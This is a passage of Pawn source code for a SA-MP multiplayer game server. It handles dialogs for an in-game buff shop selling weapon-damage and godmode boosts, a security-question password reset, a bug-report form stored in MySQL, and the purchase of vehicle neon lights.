GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage3Timer[playerid] = SetTimerEx("DisableExtraDamage3", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage III from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 10);
}
if(listitem==10)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(LuckyTime[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Lucky Time for 200 buffs for 30 seconds.");
LuckyTime[playerid] = true;
GivePlayerKolang(playerid, 22, 20000);
LuckyTimeTimer[playerid] = SetTimerEx("DisableLuckyTime", 30000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Lucky Time from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 11);
}
return 1;
}
*/
new sndx[144];
if(dialogid == 8368)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyM4[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty M4 for 200 buffs for 10 minutes.");
MightyM4[playerid] = true;
GivePlayerKolang(playerid, 31, 20000);
MightyM4Timer[playerid] = SetTimerEx("DisableMightyM4", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty M4 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 1);
return 1;
}
if(dialogid == 8369)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyDeagle[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty Deagle for 200 buffs for 10 minutes.");
MightyDeagle[playerid] = true;
GivePlayerKolang(playerid, 24, 20000);
MightyDeagleTimer[playerid] = SetTimerEx("DisableMightyDeagle", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty Deagle from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 2);
return 1;
}
if(dialogid == 8370)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyMP5[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty MP5 for 200 buffs for 10 minutes.");
MightyMP5[playerid] = true;
GivePlayerKolang(playerid, 29, 20000);
MightyMP5Timer[playerid] = SetTimerEx("DisableMightyMP5", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty MP5 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 3);
return 1;
}
if(dialogid == 8365)
{
if(!response)return 1;
if(listitem==0)// mighty m4
{
ShowPlayerDialog(playerid, 8368, DIALOG_STYLE_MSGBOX, "Mighty M4", "It will give you M4\nWhen you shot at people's body (except their head)\nIt will take 20.00 more health from them.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 200\nWeapon license", "Enable", "Cancel");
}
if(listitem==1)// mighty deagle
{
ShowPlayerDialog(playerid, 8369, DIALOG_STYLE_MSGBOX, "Mighty Deagle", "It will give you Deagle\nWhen you shot at people's body (except their head)\nIt will take 40.00 more health from them.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 200\nWeapon license", "Enable", "Cancel");
}
if(listitem==2)// mighty mp5
{
ShowPlayerDialog(playerid, 8370, DIALOG_STYLE_MSGBOX, "Mighty MP5", "It will give you MP5\nWhen you shot at people's body (except their head)\nIt will take 20.00 more health from them.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 200\nWeapon license", "Enable", "Cancel");
}
return 1;
}
if(dialogid == 8371)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyM4[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly M4 for 600 buffs for 10 minutes.");
DeadlyM4[playerid] = true;
GivePlayerKolang(playerid, 31, 20000);
DeadlyM4Timer[playerid] = SetTimerEx("DisableDeadlyM4", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly M4 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 4);
return 1;
}
if(dialogid == 8372)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyDeagle[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly Deagle for 600 buffs for 10 minutes.");
DeadlyDeagle[playerid] = true;
GivePlayerKolang(playerid, 24, 20000);
DeadlyDeagleTimer[playerid] = SetTimerEx("DisableDeadlyDeagle", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly Deagle from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 5);
return 1;
}
if(dialogid == 8373)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyMP5[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly MP5 for 600 buffs for 10 minutes.");
DeadlyMP5[playerid] = true;
GivePlayerKolang(playerid, 29, 20000);
DeadlyMP5Timer[playerid] = SetTimerEx("DisableDeadlyMP5", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly MP5 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 6);
return 1;
}
if(dialogid == 8379)
{
if(!response)return 1;
if(PlayerInfo[playerid][pBuff]<400)return Error(playerid, "Error: You haven't enough buffs.")
if(SuperMan[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 400;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought SuperMan for 400 buffs for 10 minutes.");
SuperMan[playerid] = true;
SuperManTimer[playerid] = SetTimerEx("DisableSuperMan", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought SuperMan from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 12);
return 1;
}
if(dialogid == 8366)
{
if(!response)return 1;
if(listitem==0)// deadly m4
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8371, DIALOG_STYLE_MSGBOX, "Deadly M4", "It will give you M4\nWhen you shot at people's body (except their head)\nIt will take 40.00 more health from them.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 600\nWeapon license", "Enable", "Cancel");
}
if(listitem==1)// deadly deagle
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8372, DIALOG_STYLE_MSGBOX, "Deadly Deagle", "It will give you Deagle\nWhen you shot at people's body (except their head)\nIt will kill them in first shot.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 600\nWeapon license", "Enable", "Cancel");
}
if(listitem==2)// deadly mp5
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8373, DIALOG_STYLE_MSGBOX, "Deadly MP5", "It will give you MP5\nWhen you shot at people's body (except their head)\nIt will take 40.00 more health from them.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 600\nWeapon license", "Enable", "Cancel");
}
if(listitem==3)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8379, DIALOG_STYLE_MSGBOX, "SuperMan", "This buff let you to jump with more height.\nEnable time: 10 minutes.\nNeeds:\nBuffs: 400", "Enable", "Cancel");
}
return 1;
}
if(dialogid == 8364)
{
if(!response)return 1;
new title[100];
format(title, sizeof(title), "Buff List - Your buffs: %s", FormatNumber(PINFO[playerid][pBuff]));
if(listitem==0)// low-level
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8365, DIALOG_STYLE_LIST,title, "{00FF00}Mighty M4\n{00FF00}Mighty Deagle\n{00FF00}Mighty MP5", "Select", "Cancel");
}
if(listitem==1)// med-level
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8366, DIALOG_STYLE_LIST,title, "{FFFF00}Deadly M4\n{FFFF00}Deadly Deagle\n{FFFF00}Deadly MP5\n{FFFF00}SuperMan", "Select", "Cancel");
}
if(listitem==2)// high-level
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8367, DIALOG_STYLE_LIST,title, "{FF0000}Less Damaged\n{FF0000}Extra Damage I\n{FF0000}Extra Damage II\n{FF0000}Extra Damage III\n{FF0000}Lucky Time", "Select", "Cancel");
}
return 1;
}
if(dialogid == 8374)
{
if(!response)return 1;
if(PlayerInfo[playerid][pBuff]<1000)return Error(playerid, "Error: You haven't enough buffs.")
if(LessDamaged[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 1000;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Less Damaged for 1,000 buffs for 3 minutes.");
LessDamaged[playerid] = true;
GodmodeFeature[playerid] = true;
LessDamagedTimer[playerid] = SetTimerEx("DisableLessDamaged", 180000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Less Damaged from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 7);
return 1;
}
if(dialogid == 8375)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<400)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage1[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 400;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage I for 400 buffs for 10 minutes.");
ExtraDamage1[playerid] = true;
ExtraDamage2[playerid] = false;
ExtraDamage3[playerid] = false;
if(ExtraDamage2[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage3[playerid]){if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}}
GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage1Timer[playerid] = SetTimerEx("DisableExtraDamage1", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage I from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 8);
return 1;
}
if(dialogid == 8376)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<500)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage2[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 500;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage II for 500 buffs for 10 minutes.");
ExtraDamage1[playerid] = false;
ExtraDamage2[playerid] = true;
ExtraDamage3[playerid] = false;
if(ExtraDamage1[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage3[playerid]){if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}}
GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage2Timer[playerid] = SetTimerEx("DisableExtraDamage2", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage II from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 9);
return 1;
}
if(dialogid == 8377)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<1000)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage3[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 1000;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage III for 1,000 buffs for 10 minutes.");
ExtraDamage1[playerid] = false;
ExtraDamage2[playerid] = false;
ExtraDamage3[playerid] = true;
if(ExtraDamage1[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage2[playerid]){if(ExtraDamage2Timer[playerid]!=0){KillTimer(ExtraDamage2Timer[playerid]);ExtraDamage2Timer[playerid]=0;}}
GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage3Timer[playerid] = SetTimerEx("DisableExtraDamage3", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage III from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 10);
return 1;
}
if(dialogid == 8378)
{
if(!response)return 1;
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(LuckyTime[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Lucky Time for 200 buffs for 30 seconds.");
LuckyTime[playerid] = true;
GivePlayerKolang(playerid, 22, 100);
LuckyTimeTimer[playerid] = SetTimerEx("DisableLuckyTime", 30000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Lucky Time from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 11);
return 1;
}
if(dialogid == 8367)
{
if(!response)return 1;
if(listitem==0)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8374, DIALOG_STYLE_MSGBOX, "Less Damaged", "It will make you godmode.\nEnable time: 3 minutes.\nNeeds:\nBuffs: 1,000", "Enable", "Cancel");
}
if(listitem==1)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8375, DIALOG_STYLE_MSGBOX, "Extra Damage I", "It will give you M4, Deagle and MP5 with a power that take 15.00 more health from who you shot them (except their head).\nEnable time: 10 minutes.\nNeeds:\nBuffs: 400\nWeapon license\n{FF0000}If you buy this item, the other extra damages will be deactivated.", "Enable", "Cancel");
}
if(listitem==2)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8376, DIALOG_STYLE_MSGBOX, "Extra Damage II", "It will give you M4, Deagle and MP5 with a power that take 35.00 more health from who you shot them (except their head).\nEnable time: 10 minutes.\nNeeds:\nBuffs: 500\nWeapon license\n{FF0000}If you buy this item, the other extra damages will be deactivated.", "Enable", "Cancel");
}
if(listitem==3)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8377, DIALOG_STYLE_MSGBOX, "Extra Damage III", "It will give you M4, Deagle and MP5 with a power that take 60.00 more health from who you shot them (except their head).\nEnable time: 10 minutes.\nNeeds:\nBuffs: 1,000\nWeapon license\n{FF0000}If you buy this item, the other extra damages will be deactivated.", "Enable", "Cancel");
}
if(listitem==4)
{
if(IsAtjail(playerid))return Error(playerid, "Error: You are prisoner.")
ShowPlayerDialog(playerid, 8378, DIALOG_STYLE_MSGBOX, "Lucky Time", "It will give you Pistol that if you shoot at every parts of people's body with that Pistol, \nthey will couldn't hold guns till their next login.\nEnable time: 30 seconds.\nNeeds:\nBuffs: 200\nWeapon license", "Enable", "Cancel");
}
return 1;
}
if(dialogid == 8022)
{
if(!response)return 1;
new fmm[300],passer2[130];
WP_Hash(passer2, sizeof(passer2), inputtext);
if(!strcmp(TheAnswer[playerid],passer2,true))
{
format(fmm, sizeof(fmm), "Are you sure you want to reset {FF0000}%s{A9C4E4} account password?", TahtName[playerid]);
ShowPlayerDialog(playerid,8023,DIALOG_STYLE_MSGBOX,"Forget Password",fmm,"Yes","No");
}
else
{
format(fmm, sizeof(fmm), "{FF0000}Invalid answer.\n{A9C4E4}Enter the answer of this question:\n%s", TheQuestion[playerid]);
ShowPlayerDialog(playerid,8022,DIALOG_STYLE_INPUT,"Forget Password",fmm,"Next","Close");
}
return 1;
}
if(dialogid == 8023)
{
if(response)
{
new Saver[11],RSx[11],query[512],pHash[129],fmm[300],mmmowz[144];
for(new i = 0; i < sizeof(RSx); i++)
format(RSx, sizeof(RSx), "%s%c", RSx, RandomCode());
strcpy(Saver,RSx,11);
WP_Hash(pHash, sizeof(pHash), Saver);
mysql_format(handle,query,sizeof(query),"UPDATE `users` SET `pKey`='%e',`pAutoIP`='255.255.255.255' WHERE `pName`='%e'", pHash, TahtName[playerid]);
mysql_function_query(handle,query,false,"SendQuery","");
format(fmm, sizeof(fmm), "New information of your account listed below:\nName: %s\nNew Password: %s", TahtName[playerid], Saver);
ShowPlayerDialog(playerid,8025,DIALOG_STYLE_MSGBOX,"Forget Password",fmm,"OK","");
format(mmmowz, sizeof(mmmowz), "{ffffff}Player %s(%i) has recovered %s",RPName(playerid), playerid, TahtName[playerid]);
AdminWarn(mmmowz);
TahtName[playerid] = " ";
TheQuestion[playerid] = " ";
TheAnswer[playerid] = " ";
WhatEmail[playerid] = " ";
QuestionX[playerid] = " ";
AnswerX[playerid] = " ";
}
else
{
TahtName[playerid] = " ";
TheQuestion[playerid] = " ";
TheAnswer[playerid] = " ";
WhatEmail[playerid] = " ";
QuestionX[playerid] = " ";
AnswerX[playerid] = " ";
}
return 1;
}
if(dialogid == 7468)
{
if(response)
{
strcpy(BugSubject[playerid],inputtext,129);
ShowPlayerDialog(playerid,7469,DIALOG_STYLE_INPUT,"Report a bug","Please enter what is the bug","Enter","Close");
}
return 1;
}
if(dialogid == 7469)
{
if(response)
{
strcpy(BugCaption[playerid],inputtext,129);
new query[512];
mysql_format(handle, query, sizeof(query), "INSERT INTO `bugs` (`Reporter`,`Subject`,`Bug`) VALUES ('%e','%e','%e')", PINFO[playerid][pName],BugSubject[playerid],BugCaption[playerid]);
mysql_tquery(handle, query);
ShowPlayerDialog(playerid, 7470, DIALOG_STYLE_MSGBOX, "Report a bug", "Bug submitted.\nReported bug will be checked by admins.", "OK", "");
new Vazae[144];
format(Vazae, sizeof(Vazae), "{ffffff}Player %s(%i) reported a bug",RPName(playerid), playerid);
AdminWarn(Vazae);
BugCaption[playerid] = "NULL";
BugSubject[playerid] = "NULL";
}
return 1;
}
if(dialogid == 1807)
{
if(response)
{
if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
{
new vehicleid = GetPlayerVehicleID(playerid);

if(listitem == 0)// Blue
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][0] = CreateObject(18648,0,0,0,0,0,0);
  CarNeons[vehicleid][1] = CreateObject(18648,0,0,0,0,0,0);
  CarNeons[vehicleid][2] = CreateObject(18648,0,0,0,0,0,0);
  CarNeons[vehicleid][3] = CreateObject(18648,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][0], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  AttachObjectToVehicle(CarNeons[vehicleid][1], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][2], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][3], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+5000);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18648;
  SaveKonValV(veh, "cNeon", 18648);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18648;
  SaveKonValV(veh, "cNeon", 18648);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18648;
  SaveKonValV(veh, "cNeon", 18648);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18648;
  SaveKonValV(veh, "cNeon", 18648);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18648;
  SaveKonValV(veh, "cNeon", 18648);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {0000FF}blue{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}
if(listitem == 1)// Red
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][4] = CreateObject(18647,0,0,0,0,0,0);
  CarNeons[vehicleid][5] = CreateObject(18647,0,0,0,0,0,0);
  CarNeons[vehicleid][6] = CreateObject(18647,0,0,0,0,0,0);
  CarNeons[vehicleid][7] = CreateObject(18647,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][4], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  AttachObjectToVehicle(CarNeons[vehicleid][5], vehicleid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
  //AttachObjectToVehicle(CarNeons[vehicleid][6], vehicleid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
  //AttachObjectToVehicle(CarNeons[vehicleid][7], vehicleid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
  VehicleNeon[vehicleid] = 1;
  PlayerInfo[playerid][pGold] -= SBizzInfo[36][sbEntranceCost];
  SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
  SBizzInfo[36][sbTill] += (SBizzInfo[36][sbEntranceCost]+5000);
  if(PINFO[playerid][pCar_1] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
  vInfo[veh][cNeon] = 18647;
  SaveKonValV(veh, "cNeon", 18647);
  }
  if(PINFO[playerid][pCar_2] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
  vInfo[veh][cNeon] = 18647;
  SaveKonValV(veh, "cNeon", 18647);
  }
  if(PINFO[playerid][pCar_4] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
  vInfo[veh][cNeon] = 18647;
  SaveKonValV(veh, "cNeon", 18647);
  }
  if(PINFO[playerid][pCar_5] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
  vInfo[veh][cNeon] = 18647;
  SaveKonValV(veh, "cNeon", 18647);
  }
  if(PINFO[playerid][pCar_6] == vehicleid)
  {
  new veh = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
  vInfo[veh][cNeon] = 18647;
  SaveKonValV(veh, "cNeon", 18647);
  }
  PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
  new abb[144];
  format(abb, sizeof(abb), "You bought {FF0000}red{F5DEB3} neon for %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost]));
  SCM(playerid, COLOR_SINARANG, abb);
}
if(listitem == 2)// Green
{
  if(PINFO[playerid][pGold] < SBizzInfo[36][sbEntranceCost]) { new aba[144]; format(aba, sizeof(aba), "Error: You don't have %s golds.", FormatNumber(SBizzInfo[36][sbEntranceCost])); return SCM(playerid, COLOR_YELLOW2, aba); }
  if(MashinOwner[GetPlayerVehicleID(playerid)] != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You are not owner of this vehicle.");
  CarNeons[vehicleid][8] = CreateObject(18649,0,0,0,0,0,0);
  CarNeons[vehicleid][9] = CreateObject(18649,0,0,0,0,0,0);
  CarNeons[vehicleid][0] = CreateObject(18649,0,0,0,0,0,0);
  CarNeons[vehicleid][10] = CreateObject(18649,0,0,0,0,0,0);
  AttachObjectToVehicle(CarNeons[vehicleid][8], vehicleid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
